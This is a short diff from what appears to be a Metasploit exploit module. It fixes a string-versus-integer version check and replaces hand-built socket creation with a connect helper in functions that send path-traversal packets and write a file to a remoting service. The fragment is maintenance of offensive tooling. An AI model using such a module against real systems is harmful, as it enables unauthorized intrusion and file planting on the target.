@@ -78,9 +78,9 @@ def get_version
78
78
def check
79
79
version = get_version
80
80
if version != nil
81
- if ( version [ 0 ] < "11" ) or
82
- ( version [ 0 ] == "11" and version [ 1 ] <= "3" ) or
83
- ( version [ 0 ] == "11" and version [ 1 ] == "3" and version [ 2 ] == 0 and version [ 3 ] < " 999" )
81
+ if ( version [ 0 ] . to_i < 11 ) or
82
+ ( version [ 0 ] . to_i == 11 and version [ 1 ] . to_i <= 3 ) or
83
+ ( version [ 0 ] . to_i == 11 and version [ 1 ] . to_i == 3 and version [ 2 ] . to_i == 0 and version [ 3 ] . to_i < 999 )
84
84
ctx = { 'Msf' => framework , 'MsfExploit' => self }
85
85
sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => datastore [ 'RPORT_REMOTING' ] , 'Context' => ctx } )
86
86
if not sock . nil?
@@ -188,8 +188,7 @@ def get_traversal_path
188
188
189
189
buf << @packet_terminator . pack ( 'C*' )
190
190
191
- ctx = { 'Msf' => framework , 'MsfExploit' => self }
192
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => @remoting_port , 'Context' => ctx } )
191
+ sock = connect
193
192
if sock . nil?
194
193
fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ @remoting_port . to_s } - Failed to connect to remoting service" )
195
194
else
@@ -420,8 +419,7 @@ def send_file(traversal_path, filename, file_content)
420
419
buf << @packet_terminator . pack ( 'C*' )
421
420
422
421
# send the packet and ignore the response
423
- ctx = { 'Msf' => framework , 'MsfExploit' => self }
424
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => @remoting_port , 'Context' => ctx } )
422
+ sock = connect
425
423
if sock . nil?
426
424
fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ @remoting_port . to_s } - Failed to connect to remoting service" )
427
425
else
0 commit comments